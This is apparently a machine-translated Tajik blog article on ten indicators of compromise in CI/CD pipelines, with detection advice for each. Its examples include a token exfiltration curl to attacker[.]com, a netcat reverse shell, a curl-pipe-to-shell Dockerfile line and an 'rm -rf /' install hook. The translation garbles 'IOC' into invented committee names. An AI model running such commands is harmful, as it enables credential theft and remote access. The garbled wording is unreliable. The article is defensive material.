Муқаддима: Нишондиҳандаҳои созиш дар амнияти киберӣ кадомҳоянд?
Нишондиҳандаҳои созиш аввалин аломатҳои огоҳкунандае мебошанд, ки системаи шумо ё pipeline метавонад зери ҳамла қарор гирад. Бо суханони оддӣ, нишондиҳандаҳои созиш осоре ҳастанд, ки ҳамлагарон гузоштаанд, ба монанди аҷиб loginс, тағйироти файл ё нармафзори пинҳоншудаи зараровар. Дар Амнияти киберии КБО, онҳо мисли изи ангушт дар ҷои ҷиноят амал мекунанд ва ба шумо далели равшан медиҳанд, ки чизе нодуруст аст. Аз ин рӯ, вақте ки таҳиягарон мепурсанд нишонаҳои созиш чистанд, ҷавоб на танҳо ба серверҳо ё деворҳои оташӣ маҳдуд аст, балки хатарҳои пинҳоншударо дар бар мегирад, ки дар муосир пинҳон шудаанд. CI/CD pipelines.
Дар ин pipelineс., ҳамлагарон метавонанд рамзро тағйир диҳанд, вобастагиҳои зарароварро ворид кунанд ё қадамҳои сохтмонро бе он ки пайхас шаванд, тағйир диҳанд. Бо вуҷуди ин, аксари роҳнамоҳо то ҳол танҳо ба серверҳо ё шабакаҳо тамаркуз мекунанд. Дар натиҷа, занҷири таъминоти нармафзор ба яке аз осонтарин ҳадафҳо табдил ёфтааст.
Аз ин рӯ, пайдо кардани нишонаҳои созиш дар CI/CD pipelines муҳим аст. Пеш аз ҳама, он ба дастаҳо дар масдуд кардани нармафзори зараровар, ҳифзи сирр ва таъмини амнияти ҳар як марҳилаи таҳвили нармафзор кӯмак мекунад.
10 нишондиҳандаи асосии созиш дар CI/CD Pipelines
Ҳангоми шарҳ додани нишондиҳандаҳои созиш, аксари рӯйхатҳо ба серверҳо ё шабакаҳо тамаркуз мекунанд. Бо вуҷуди ин, дар CI/CD pipelineс, ҳамлагарон изи ангуштони хеле гуногунро мегузоранд. Шинохти ин сигналҳо барои мудофиаи фаъол муҳим аст. Дар зер 10 нишони сурхи амнияти киберӣ аз ҷониби IOC оварда шудаанд, ки ҳар як таҳиягар ва муҳандиси амният бояд ба онҳо диққат диҳад.
1. Тағйироти шубҳаноки вобастагӣ
Яке аз нишондиҳандаҳои асосии созиш дар pipelines навсозии ногаҳонӣ ва аҷиби вобастагӣ аст. Ҳамлагарон аксар вақт эътимоди таҳиягаронро дар менеҷерҳои бастаҳо барои илова кардани бастаҳои хатарнок истифода мебаранд.
Масалан, дар npm a package.json фарқият метавонад ногаҳон инҳоро дар бар гирад:
+ "crypto-helper": "^1.0.2" Чунин тағйирот метавонанд бехатар ба назар расанд, аммо метавонанд рамзи троянӣшударо ба ҳар як сохтан ворид кунанд.
Таъсир: Сохтаҳои вайроншуда зарароварро аз манбаъ мерос мегиранд.
Ошкор: Баррасиҳои вобастагиро татбиқ кунед, фарқиятҳои файлҳои қулфро пайгирӣ кунед ва бастаҳои навро ҳамеша скан кунед.
2. Коди печида дар Builds
Муаллифони нармафзори зараровар барои сарфи назар кардани баррасиҳо ба нофаҳмиҳо такя мекунанд. Дар натиҷа, ин нишондиҳандаи созиш дар CI/CD pipelines метавонад яке аз душвортаринҳо барои дастгир кардан бошад. Дар асл, борҳои нофаҳмо аксар вақт бе огоҳӣ ба китобхонаҳои кушодаасос ё тасвирҳои контейнер ворид мешаванд.
Барои намуна:
- Бастаи PyPI бо истифода аз
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Тасвири Docker пур аз файлҳои дуӣ UPX, ки нолозиманд.
- JavaScript пур аз
\x41\x42аз пинҳон кардани дуздони эътимоднома фирор мекунад.
Таъсир: Коди пинҳон ҳангоми сохтан ё иҷро хомӯшона иҷро мешавад, ки ин ба як сигнали муҳим дар амнияти киберии IOC табдил меёбад.
Ошкор: Якҷоя кунед SAST бо сканкунии нармафзори зараровар барои қайд кардани рамзи рамзгузорӣшуда ё бастабандишуда. Пеш аз ҳама, нофаҳмиро ҳамчун нишонаи хатаре, ки сазовори таҳқиқоти минбаъда аст, баррасӣ кунед.
3. Асрори ошкоршуда дар Git: Хатари классикии амнияти киберӣ дар IOC
CI/CD pipelines аксар вақт сирҳоро мустақиман аз анборҳо мерос мегиранд. Аммо, вақте ки асрорҳо дар Git пайдо мешаванд, онҳо яке аз ҷавобҳои равшантарин ба саволи «нишондиҳандаҳои созиш дар чистанд» мешаванд. pipelineс?" Пас аз он ки эътимодномаҳо ба Git ворид мешаванд, ҳамлагарон метавонанд онҳоро беохир истифода баранд.
Барои намуна:
- A
.envфайли дороиAWS_SECRET_KEY=. - Токенҳо ворид карда шуданд
config.json. - Асрорҳо ҳатто пас аз нест кардан дар таърихи Git намоёнанд.
Таъсир: Калидҳои фошшуда ба ҳамлагарон дастрасии мустақим медиҳанд CI/CD pipelineс, системаҳои абрӣ ё пойгоҳҳои додаҳо. Аз ин рӯ, ин яке аз хатарноктарин нишондиҳандаҳои созиш аст.
Ошкор: истифода бурдан pre-commit hooks ва вазифаҳои CI барои сканкунии махфӣ ва бекор кардани калидҳои фошшуда фавран. Илова бар ин, барои кам кардани тирезаҳои фошшавӣ, ислоҳоти автоматиро татбиқ кунед.
4. Таҳрифшуда Pipeline Танзимот: Нишондиҳандаҳои пинҳонии созиш
Pipeline конфигуратсияҳо ҳадафҳои арзишманд мебошанд, зеро як тағйирот аксар вақт тамоми ҷараёни корро раҳо мекунадДар натиҷа, тағйир дода шудааст pipeline Файлҳо хатари асосии амнияти киберӣ аз ҷониби Кумитаи Иҷроияи Марказии Байналмилалӣ мебошанд, ки абзорҳои анъанавии мониторинг онҳоро хеле кам муайян мекунанд.
Барои намуна:
Дар амалҳои GitHub:
- run: curl -X POST http://attacker[.]com --data $GITHUB_TOKEN- Дар GitLab: як кори зараровар илова карда шуд
.gitlab-ci.ymlки маълумоти махфиро партофта истодааст. - Дар Ҷенкинс:
sh "nc -e /bin/bash attacker.com 4444".
Таъсир: Ин тағйироти тасдиқнашуда шуморо ба pipeline ба дари қафои доимӣ барои ҳамлагарон, ки ба таври возеҳ ҳамчун нишондиҳандаи созиш ҳисоб мешавад.
Ошкор: Конфигуратсияҳои имзошударо амалӣ кунед, тасдиқи PR-ро талаб кунед ва корҳои ғайричашмдоштро назорат кунед. Илова бар ин, муқаррар кунед guardrails ки ҷараёнҳои кори тағйирёфтаро ба таври худкор масдуд мекунад.
5. Имтиёзнок IaC Пешфарзҳо
Таърифҳои нодуруст танзимшудаи инфрасохтор аксар вақт дарҳои пинҳони қафоро эҷод мекунанд. Дар натиҷа, танзимоти пешфарзии имтиёзнок дар IaC хатари классикии амнияти киберии IOC мебошанд.
Барои намуна:
- Подкастҳои иҷозатдиҳандаи ҷойгиркунии Kubernetes
privileged: true. - Диаграммаҳои Helm, ки хидматҳоро бо онҳо нишон медиҳанд
0.0.0.0:22.
Таъсир: Ҳамлагарон дастрасии сатҳи решаро ба даст меоранд ё хидматҳои дохилиро ба таври оммавӣ фош мекунанд. Дар натиҷа, ин масъалаҳо сатҳи ҳамларо ба таври назаррас васеъ мекунанд.
Ошкор: Apply IaC сканкунӣ барои таъмини ҳадди ақали имтиёз пеш аз якҷоякунӣ. Илова бар ин, боварӣ ҳосил кунед, ки ҳар як конфигуратсия ҳамчун як қисми он баррасӣ карда мешавад pipeline.
6. Рафторҳои ғайриоддии сохтмонӣ
Ҳамлагарон аксар вақт тағйир медиҳанд pipeline рафтори лағжиш ба амалҳои зараровар. Ба ибораи дигар, фаъолияти ғайриоддии сохтмонӣ яке аз ҷавобҳои равшантарин ба он аст, ки нишондиҳандаҳои созиш дар чист? CI/CD pipelines.
Барои намуна:
- Сохтмонҳо дархостҳои шабакавии содиротиро ба доменҳои аҷиб ворид мекунанд.
- Лоиҳаи Node.js ногаҳон PowerShell-ро дар давоми ... пайдо кард
npm install. - Як вазифаи CI ҳангоми зеркашӣ кардани файлҳои дуӣ калон, ки дар скриптҳои сохташуда муайян нашудаанд.
Таъсир: Сохтмонҳои вайроншуда метавонанд ҳамчун нуқтаҳои паҳнкунии нармафзори зараровар амал кунанд. Пеш аз ҳама, онҳо борҳои зарароварро дар ҳар як ҷойгиркунӣ паҳн мекунанд.
Ошкор: Гузоришҳои сохтмонро барои равандҳо ё пайвастҳои ғайричашмдошт назорат кунед. Ғайр аз ин, муайянкунии аномалияҳоро барои қайд кардани рафторҳои берун аз меъёр танзим кунед.
7. Скриптҳои бастаҳои зараровар ҳамчун хатарҳои амнияти киберии IOC
Менеҷерони бастаҳо давраи ҳаётро дастгирӣ мекунанд hooks ки ҳамлагарон аз он истифода мебаранд. Аз ин рӯ, скриптҳои зараровар дар npm, PyPI ё Dockerfile нишондиҳандаҳои қавии осебпазирӣ мебошанд.
Барои намуна:
- дақиқаи охир:
postinstallскрипт иҷро мешавадrm -rf /ё маяк ба C2. - PyPI:
setup.pyиҷро кардани рамзи пинҳоншудаи Python ҳангоми насб. - Файли Докер:
RUN curl attacker.sh | sh.
Таъсир: Ҳамла ҳангоми насб, пеш аз ҳама гуна санҷиши иҷро, иҷро мешавад. Дар натиҷа, таҳиягарон шояд то он даме, ки хеле дер шавад, инро пай набаранд.
Ошкор: Манифестҳои бастаро барои скриптҳои насб скан кунед. Илова бар ин, маҳдуд кардани хатарнок hooks in CI/CD ҷойҳои корӣ барои кам кардани таъсиррасонӣ.
8. Нишондиҳандаҳои заҳролудшавӣ аз реестр оид ба созиш
Ҳамлагарон артефактҳоро дар регистрҳо иваз ё тағйир медиҳанд ва ин ҳодисаҳо мисолҳои китоби дарсӣ аз он чизе мебошанд, ки нишондиҳандаҳои созиш дар занҷираи таъминот мебошанд. pipelines.
Барои намуна:
- Теги тасвири Docker бо қабати троянӣ хомӯшона навсозӣ карда шуд.
- Бастаи дохилӣ бо версияи заҳролудшуда иваз карда шуд.
- npm squatting namespace, ба монанди
lodash-proxy.
Таъсир: Ҳар як сохторе, ки аз артефакти реестр истифода мебарад, осеб мебинад. На танҳо ин, балки осеб ба хидматҳои поёноб низ паҳн мешавад.
Ошкор: Санҷиши имзо ва якпорчагиро дар ҳама бозпасгирии феҳрист иҷро кунед. Илова бар ин, пайдоиши артефактро бо истифода аз он пайгирӣ кунед SBOM тасдиқ.
9. Фаъолияти ғайримуқаррарии корбар ҳамчун далели IOC
Ҳисобҳои вайроншуда қариб ҳамеша нишонаҳои ғайримуқаррариро боқӣ мегузоранд. Бинобар ин, рафтори ғайриоддии таҳиягар нишондиҳандаи қавии созиш аст.
Барои намуна:
- Commitсоати 3-и шаб ба вақти маҳаллӣ пахш шуд.
- Тасдиқҳои PR аз ҷониби ҳисобҳо дар рухсатӣ.
- Pipelineс бо басомади ғайриоддӣ ба кор медарояд.
Таъсир: Ҳамлагарон аз маълумоти дуздидашуда барои ворид кардани тағйироти зараровар сӯиистифода мекунанд. Дар ниҳоят, беиҷозат commitс ба осонӣ бо ҷараёнҳои муқаррарии корӣ омехта мешавад.
Ошкор: Monitor SCM фаъолият барои аномалияҳо, татбиқи MFA ва гардиши мунтазами токенҳо. Илова бар ин, дар бораи шубҳанок огоҳӣ диҳед commit ё намунаҳои тасдиқ.
10. Санҷиши номуваффақи якпорчагӣ ё имзо дар амнияти киберии IOC
Як чизи маъмулӣ, вале нодида гирифташуда нишондиҳандаи созиш санҷиши якпорчагӣ ё имзо ноком аст. Дар амнияти киберии IOC, ин санҷишҳо аслӣ будани рамз ё артефактҳоро тасдиқ мекунанд. Гузаронидани онҳо боқӣ мемонад. pipelineфош шудааст.
Мисолҳо:
- Хеши SHA256 бо маблағи чекии интизоршуда мувофиқат намекунад.
- Имзои GPG гумшуда ё беэътибор.
- An SBOM ашёҳои беимзоро нишон медиҳанд.
Таъсир: Нокомӣ дар риояи якпорчагӣ аксар вақт маънои таҳриф, заҳролудшавӣ ба феҳрист ё ворид кардани нармафзори зарароварро дорад.
Ошкор: Санҷиши имзоҳоро автоматӣ кунед, санҷиши чекро амалӣ кунед ва ҷузъҳои имзонашударо масдуд кунед. Пеш аз ҳама, ба ҳар як санҷиши ноком ҳамчун далели равшани вайронкунӣ муносибат кунед.
CI/CD Нишондиҳандаҳои созиш дар як нигоҳ
| Нишондиҳандаи созиш (IOC) | Таъсир дар CI/CD Pipelines | Чӣ тавр муайян кардан мумкин аст |
|---|---|---|
| Тағйироти шубҳаноки вобастагӣ | Ҳамлагарон китобхонаҳои зарароварро ба менеҷерҳои бастаҳо ворид мекунанд, ки боиси вайрон шудани сохторҳо мегардад. | Тафовутҳои файли қулфро пайгирӣ кунед, баррасиҳои вобастагиро татбиқ кунед ва вобастагиҳоро пайваста скан кунед. |
| Коди печида дар Builds | Борҳои пинҳоншуда ҳангоми сохтан ё иҷро бе ошкоркунӣ иҷро мешаванд. | истифода бурдан SAST ва сканкунии нармафзори зараровар барои нишон додани намунаҳои рамзи base64, hex ё packed. |
| Асрорҳо дар Git фош карда шуданд | Токенҳо ё калидҳои API-и ихроҷшуда ба ҳамлагарон дастрасии мустақимро ба системаҳои муҳим медиҳанд. | Сканҳои махфиро дар Git иҷро кунед hooks ва маълумоти махфии фошшударо ба таври худкор бекор кунед. |
| Таҳрифшуда Pipeline Танзимот | Ҷараёнҳои кории тағйирёфта имкон медиҳанд, ки маълумот хориҷ карда шавад ё дар дохили он боқӣ монад CI/CD. | Тасдиқҳои PR-ро талаб кунед, конфигуратсияҳои имзошударо татбиқ кунед ва назорат кунед pipeline тағйиротҳо. |
| Имтиёзнок IaC Пешфарзҳо | Нақшҳои аз ҳад зиёд иҷозатдодашуда ё танзимоти пешфарзии ноамн муҳити абриро фош мекунанд. | Файлҳои Terraform, Kubernetes ва Helm-ро барои татбиқи ҳадди ақали имтиёзҳо скан кунед. |
| Рафторҳои ғайриоддии сохтмонӣ | Pipelineҳамчун нуқтаҳои паҳнкунии нармафзори зараровар ё барои ҳаракати паҳлӯӣ истифода мешаванд. | Гузоришҳои сохтмонро барои зеркашиҳо, равандҳо ё зангҳои берунаи ғайричашмдошт таҳлил кунед. |
| Скриптҳои бастаҳои зараровар | Скриптҳои пинҳоншудаи пеш/пас аз насбкунӣ сарбориро пеш аз санҷиши вақти иҷро ба кор медароранд. | Скриптҳои хатарноки npm/PyPI-ро масдуд кунед ва иҷрои онҳоро маҳдуд кунед CI/CD корҳо. |
| Заҳролудшавӣ аз реестр | Артефактҳои троянӣ тасвирҳо ё файлҳои дуӣи боэътимодро дар регистрҳо иваз мекунанд. | Санҷишҳои чекӣ, татбиқи тасдиқи имзо ва сканкунии фаъолонаи регистрҳо. |
| Фаъолияти ғайримуқаррарии корбар | Ҳисобҳои вайроншуда паёмҳои зарароварро пахш мекунанд commitс ё триггер pipelines. | Иҷрои MFA, назорат commits барои аномалияҳо, ва таҳлил кунед login намунаҳо. |
| Санҷиши якпорчагӣ ё имзо ноком шуд | Рамзи таҳрифшуда, вобастагиҳо ё тасвирҳои воридшударо нишон медиҳад pipeline. | Санҷиши якпорчагиро автоматӣ кунед ва ҷузъҳои имзонашуда ё номувофиқро масдуд кунед. |
Чаро амнияти анъанавии кибернетикии IOC аз даст меравад CI/CD хатарҳо
Аксари ташкилотҳо аллакай нишондиҳандаҳои вайронкуниро дар серверҳо, компютерҳо ё шабакаҳо назорат мекунанд. Аммо, ин равиши классикӣ ба амнияти киберӣ аз ҷониби Кумитаи Иҷроияи Марказии Байналмилалӣ (ICO) сарфи назар карда мешавад. CI/CD pipelineс, ки ҳоло яке аз муҳимтарин сатҳҳои ҳамла мебошанд. Дар асл, pipelines сигналҳои беназири созишро нишон медиҳанд, ки асбобҳои анъанавӣ онҳоро муайян карда наметавонанд.
Нишондиҳандаҳои созиш дар амнияти анъанавӣ
Дар амнияти киберии анъанавии IOC, диққати асосӣ одатан ба инҳо равона карда мешавад:
- ғайриоддӣ loginс ё суроғаҳои IP, ки эътимодномаҳои дуздидашударо нишон медиҳанд.
- Хэшҳои шубҳаноки файлҳо ё тағйироти сабти ном, ки нармафзори зарароварро ошкор мекунанд.
- Трафики берунаи ғайричашмдошт, ки ба хориҷ кардани маълумот ишора мекунад.
Ин нишондиҳандаҳои маъруфе мебошанд, ки дар онҳо низ пайгирӣ карда мешаванд Чаҳорчӯбаи MITER ATT&CK, ки рафтор ва тактикаҳои маъмулии рақибонро харита мекунад. Инҳо сигналҳои муфиданд. Аммо, онҳо асосан ба системаҳои оператсионӣ ё шабакаҳои корпоративӣ татбиқ мешаванд. Дар натиҷа, онҳо тағйироти нозукеро, ки дар занҷири таъминоти нармафзор қаблан рух медиҳанд, аз даст медиҳанд.
чаро CI/CD Pipelineс гуногунанд
CI/CD pipelines муҳитҳои автоматикунонидашуда мебошанд, ки дар онҳо таҳиягарон commit рамз, вобастагиҳои пулакӣ ва сохтани озодкунӣ. Ҳамлагарон медонанд, ки як созиш дар ин ҷо дар ҳар як ҷойгиркунӣ рух медиҳад. Мувофиқан, нишондиҳандаҳои созиш дар кадомҳоянд? CI/CD pipelineс? Онҳо хеле фарқ мекунанд:
- Вобастагии зарароваре, ки пинҳонӣ ба package.json ё requirements.txt илова карда мешавад.
- Калидҳо ё токенҳои API дар Git фош карда шудаанд commits ё .env файлҳо.
- Коди печида ба бастаҳои npm ё PyPI ворид карда шудааст.
- Файлҳои Terraform ё Kubernetes бо танзимоти пешфарзии ноамн ба монанди имтиёзнок: true.
- Pipeline корҳои таҳриршуда барои берун кардани маълумот ё кушодани дарҳои қафо.
Ин сигналҳои созиш дар CI/CD ноаён мондан standard воситаҳои амниятӣ.
Тафовут дар амнияти киберии IOC
Гарчанде ки бисёр дастаҳо арзиши нишондиҳандаҳои созишро дарк мекунанд, онҳо то ҳол танҳо ба ошкоркунӣ аз серверҳо ва гузоришҳои шабакавӣ такя мекунанд. Аз ин рӯ, ҳамлагарон метавонанд сохторҳоро заҳролуд кунанд ё нармафзори зарароварро бе гузоштани нишонаҳои маъмулӣ ворид кунанд. Аз ин рӯ, ҳодисаҳо ба монанди дари пушти XZ Utils ё бастаҳои зараровари npm то расидан ба истеҳсолот ошкор нашуданд.
Ин гуна созишҳои занҷираи таъминот низ аз ҷониби он таъкид карда мешаванд CISДастури амнияти занҷираи таъминоти A, ки ҳушдор медиҳад, ки ҳамлагарон бештар ҳадаф қарор медиҳанд CI/CD pipelineс ва реестрҳо.
Такрор
Амнияти анъанавии киберӣ дар Кумитаи Байналмилалии Конфедератсияи Байналмилалии Ассотсиатсия зарур аст, аммо кофӣ нест. Пеш аз ҳама, дастаҳо бояд нишондиҳандаҳои созишро, ки ба онҳо хосанд, эътироф кунанд. CI/CD pipelineс. Танҳо он вақт онҳо метавонанд рамзи зарароварро муайян кунанд ё pipeline сӯиистифода пеш аз он ки дар муҳитҳо паҳн шавад.







